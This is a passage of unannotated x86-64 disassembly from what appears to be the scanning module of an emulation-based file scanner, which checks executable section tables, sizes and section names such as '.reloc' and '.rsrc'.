mov dword [rsp + 0x17c], esi
je 0x180049c78
mov ebx, dword [rsp + 0x184]
mov r13, qword [rsp + 0x188]
mov esi, dword [rsp + 0x190]
mov qword [rsp + 0xa0], r13
mov dword [rsp + 0xa8], esi
mov rax, qword [section..data]
mov r8d, 0x10
mov r9d, 8
lea rcx, [rsp + 0x40]
lea rdx, [0x180077a08]
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180049c82
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180049c8d
movzx ebx, byte [rsp + 0x184]
jmp 0x180049cb2
mov rax, qword [rsp + 0x48]
mov qword [rax], r13
mov dword [rax + 8], esi
movd xmm1, ebx
movd xmm0, edi
punpckldq xmm0, xmm1
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x7889903
movd edi, xmm0
test edi, edi
jne 0x1800519a3
mov eax, ebx
and al, 0xc7
cmp al, 0x44
lea rdi, [rsp + 0x180]
jne 0x180049d52
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 0
mov rcx, rdi
mov r9, qword [rsp + 0xe8]
call fcn.180039890
mov rcx, rdi
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180049d9d
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r13d, dword [rsp + 0x190]
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], r13d
mov rax, qword [section..data]
mov r8d, 0x10
mov r9d, 8
lea rdx, [0x180077a08]
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180049da9
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180049db8
not bl
test bl, 0x84
mov ebx, 0
jne 0x180049966
mov rax, qword [rsp + 0xf0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 0
mov rcx, rdi
mov r9, qword [rsp + 0xe8]
call fcn.180038f70
mov edi, dword [rsp + 0x180]
mov esi, dword [rsp + 0x184]
test edi, edi
je 0x180049dec
jmp 0x180052274
movzx esi, byte [rsp + 0x184]
xor ebx, ebx
jmp 0x180049de8
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], r13d
movd xmm1, esi
movd xmm0, edi
punpckldq xmm0, xmm1
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xa8], 0x788993c
movd edi, xmm0
test edi, edi
mov ebx, 0
jne 0x180051fe2
movsx esi, sil
lea rdi, [rsp + 0x180]
movzx eax, byte [rsp + 0x17c]
cmp esi, 0x100
setb cl
lea edx, [rax - 0x30]
cmp dl, 0x51
setb dl
and dl, cl
add eax, 0x30
cmp esi, eax
setae al
and al, dl
movzx r13d, al
add r13, r14
jmp 0x18004996c
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x788995c
movdqa xmm0, xmmword [rsp + 0x70]
mov dword [rsp + 0x180], ebx
mov dword [rsp + 0x184], esi
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007450a]
lea r9, [rsp + 0x180]
mov r8d, 6
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180049fc6
mov eax, dword [rsp + 0x18c]
mov rcx, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x184]
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x4c], rcx
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074510]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004a0b3
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004a1a4
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004a1af
cmp dword [rsp + 0x188], 0
jne 0x180049f29
cmp dword [rsp + 0x18c], 0x7e3
jne 0x180049f29
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 7
lea r9, [0x18006b728]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004afbc
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004b24f
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b25d
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004a239
cmp dword [rsp + 0x7c], 0x7e3
jne 0x18004a239
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0xa
lea r9, [0x180070ad0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004b064
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004b28d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b29b
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d8d6d
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074518]
lea r9, [rsp + 0x180]
mov r8d, 5
call fcn.180057260
mov rax, qword [r15]
mov rcx, qword [rax + 0x68]
mov qword [rsp + 0x180], rcx
cmp rcx, 7
jae 0x18004a2f7
mov r15, qword [rsp + 0x98]
mov rax, qword [r15]
cmp dword [rax + 0x78], 0
mov r12, qword [rsp + 0xc8]
je 0x18004a648
lea rcx, [rsp + 0x180]
mov rdx, r15
mov r8, r13
call fcn.1800660c0
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x18004a42a
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004a5e0
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004a5eb
mov rcx, qword [rax + 0x60]
mov rdx, qword [rax + 0x68]
lea r8, str..textpg690_v2_section_count
mov r9d, 5
call fcn.180042560
cmp ax, 1
jne 0x18004a252
mov esi, edx
cmp dx, 3
jb 0x18004a252
mov r15, qword [r12 + 0x28]
lea rdx, [0x1800734cd]
lea r9, [rsp + 0x180]
mov r8d, 0x16
mov rcx, r15
call fcn.1800577e0
movzx ecx, si
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rdx, qword [rax + 0x68]
add rcx, 0xfffffffffffffffe
cmp rcx, rdx
jae 0x180055794
mov rdx, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov r8d, 0xfffffc00
add r8d, dword [rdx + rcx*8 + 8]
cmp r8d, 0xbff
ja 0x18004a252
mov esi, dword [rdx + rcx*8 + 0xc]
cmp dword [rax + 0x48], esi
jbe 0x18004a252
mov rbx, qword [rax + 0x188]
lea r9, [rbx + rsi]
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
lea rcx, [rsp + 0x180]
call fcn.1800394f0
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004b3c1
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004b673
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b67e
mov rsi, qword [rsp + 0x188]
mov r14, qword [rsp + 0x190]
cmp qword [rsi + 0x38], 5
jne 0x18004a5db
lea rcx, [0x180070c3c]
mov edx, 6
call fcn.180069920
mov rsi, qword [rsi + 0x30]
cmp dword [rsi], 0
je 0x18004a464
cmp dword [rsi + 4], eax
je 0x18004a49e
cmp dword [rsi + 0x28], 0
je 0x18004a46f
cmp dword [rsi + 0x2c], eax
je 0x18004a49e
cmp dword [rsi + 0x50], 0
je 0x18004a47a
cmp dword [rsi + 0x54], eax
je 0x18004a49e
cmp dword [rsi + 0x78], 0
je 0x18004a485
cmp dword [rsi + 0x7c], eax
je 0x18004a49e
cmp dword [rsi + 0xa0], 0
je 0x18004a5db
cmp dword [rsi + 0xa4], eax
jne 0x18004a5db
lea rcx, [0x180070c42]
mov edx, 9
call fcn.180069920
cmp dword [rsi], 0
je 0x18004a4b9
cmp dword [rsi + 4], eax
je 0x18004a4f3
cmp dword [rsi + 0x28], 0
je 0x18004a4c4
cmp dword [rsi + 0x2c], eax
je 0x18004a4f3
cmp dword [rsi + 0x50], 0
je 0x18004a4cf
cmp dword [rsi + 0x54], eax
je 0x18004a4f3
cmp dword [rsi + 0x78], 0
je 0x18004a4da
cmp dword [rsi + 0x7c], eax
je 0x18004a4f3
cmp dword [rsi + 0xa0], 0
je 0x18004a5db
cmp dword [rsi + 0xa4], eax
jne 0x18004a5db
lea rcx, [0x180070c4b]
mov edx, 0x14
call fcn.180069920
cmp dword [rsi], 0
je 0x18004a50e
cmp dword [rsi + 4], eax
je 0x18004a548
cmp dword [rsi + 0x28], 0
je 0x18004a519
cmp dword [rsi + 0x2c], eax
je 0x18004a548
cmp dword [rsi + 0x50], 0
je 0x18004a524
cmp dword [rsi + 0x54], eax
je 0x18004a548
cmp dword [rsi + 0x78], 0
je 0x18004a52f
cmp dword [rsi + 0x7c], eax
je 0x18004a548
cmp dword [rsi + 0xa0], 0
je 0x18004a5db
cmp dword [rsi + 0xa4], eax
jne 0x18004a5db
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180070c5f]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x998609a6
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004a5db
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
dec qword [r14]
jmp 0x18004a648
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f58d1
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], ecx
mov dword [rsp + 0x194], edx
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074524]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
lea rbp, [rsp + 0x180]
mov r8d, 0x200
mov rcx, rbp
xor edx, edx
call sym.star_emu_scanner_sds_cp3.bin_memset
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x138]
mov r8, r15
call fcn.1800372e0
mov r14d, dword [rsp + 0x40]
test r14d, r14d
je 0x18004a6d9
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x78], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0xa0]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0xa0], 0
je 0x18004a7a9
lea rcx, [rsp + 0x70]
call fcn.1800366d0
xor eax, eax
jmp 0x18004a7b7
mov rdi, qword [rsp + 0x48]
cmp rdi, 0x8000
jb 0x18004a80a
mov rax, qword [r15]
mov rcx, qword [rax + 0x68]
sub rcx, 1
jb 0x180052a20
mov rax, qword [rax + 0x60]
lea rcx, [rcx + rcx*4]
mov edx, dword [rax + rcx*8 + 0x10]
add edx, dword [rax + rcx*8 + 0x14]
xor eax, eax
mov rcx, rdi
sub rcx, rdx
cmovae rax, rcx
cmp rax, 0x8000
jb 0x18004a80a
mov rsi, qword [r13]
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x40]
mov r9, qword [rsp + 0x1240]
call fcn.180002a00
mov r14d, dword [rsp + 0x40]
test r14d, r14d
je 0x18004b347
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x78], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0xa0]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0xa0], 0
je 0x18004b4f6
lea rcx, [rsp + 0x70]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b504
mov rax, qword [rsp + 0xa8]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0xf03f58fd
movapd xmm6, xmmword [rsp + 0xd0]
mov dword [rsp + 0x180], r14d
mov dword [rsp + 0x184], esi
movupd xmmword [rsp + 0x188], xmm6
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007452b]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
mov rax, qword [r15]
mov r8d, dword [rax + 0x12c]
cmp dword [rax + 0x48], r8d
jbe 0x18004a9f7
add r8, qword [rax + 0x188]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], 3
lea r9, [0x180070ca8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov esi, dword [rsp + 0x40]
test esi, esi
je 0x18004a8e7
mov edi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004a98c
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004a99a
cmp qword [rsp + 0x48], 0
je 0x18004a9f7
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180070d08]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xebe78076
mov r8d, 0xffff1c74
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004a9f7
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004a9f7
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5944
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], ecx
mov dword [rsp + 0x194], edx
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074532]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004aa90
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004ab82
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004ab8d
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
cmp eax, 3
jne 0x18004ac17
cmp dword [rsp + 0x7c], 0x1ec
jne 0x18004ac17
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0xa
lea r9, [0x180070dd8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004b10c
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004b2cb
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b2d9
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d8e77
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074539]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xd0], xmm0
lea rbp, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rbp
mov r8, r15
mov r9, r13
call fcn.180036b60
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x18004acc0
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, r14d
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004adb3
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004adbe
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004ae40
cmp dword [rsp + 0x7c], 0x13418bf
jne 0x18004ae40
mov qword [rsp + 0xf0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], 9
lea r9, [0x180070f28]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xf0]
call fcn.180062990
mov r14d, dword [rsp + 0x40]
test r14d, r14d
je 0x18004b1b4
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004b309
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b317
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d8e9b
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], r14d
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x184], rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074540]
lea r9, [rsp + 0x180]
mov r8d, 7
call fcn.180057260
mov rax, qword [r15]
mov rcx, qword [rax + 0x68]
test rcx, rcx
je 0x18004b919
mov rdx, qword [rax + 0x60]
lea r8, [rcx + rcx*4]
mov ecx, dword [rdx + r8*8 - 0x20]
lea r9d, [rcx - 0x20000]
cmp r9d, 0x1dffff
ja 0x18004b919
lea rdx, [rdx + r8*8]
mov rdx, qword [rdx - 0x28]
mov qword [rsp + 0xf0], rdx
xor edx, 0x6c65722e
mov r8d, 0x636f6c
xor r8d, dword [rsp + 0xf3]
or r8d, edx
je 0x18004aec5
mov edx, 0x7273722e
xor edx, dword [rsp + 0xf0]
movzx r8d, word [rsp + 0xf4]
xor r8d, 0x63
or r8d, edx
jne 0x18004b919
lea rdx, [rax + 0x88]
jmp 0x18004aecc
lea rdx, [rax + 0xa0]
cmp dword [rdx], 0
je 0x18004b919
cmp dword [rdx + 4], ecx
jae 0x18004b919
mov r8d, dword [rax + 0x12c]
cmp dword [rax + 0x48], r8d
jbe 0x18004b919
add r8, qword [rax + 0x188]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], 2
lea r9, [0x1800710a8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov esi, dword [rsp + 0x40]
test esi, esi
je 0x18004b705
mov edi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004b8ae
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004b8bc
cmp qword [rsp + 0x48], 0
je 0x180049f29
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18006b808]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x1e0c01b6
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180049f29
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x180049f29
cmp qword [rsp + 0x48], 0
je 0x18004a239
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180070c19]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xfdf0f7ce
mov r8d, 0xffff1c6f
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004a239
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004a239
cmp qword [rsp + 0x48], 0
je 0x18004ac17
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180070f18]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x36c5fd6c
mov r8d, 0xffff1c75
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004ac17
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004ac17
cmp qword [rsp + 0x48], 0
je 0x18004ae40
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov r8, r15
call fcn.1800372e0
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x18004b586
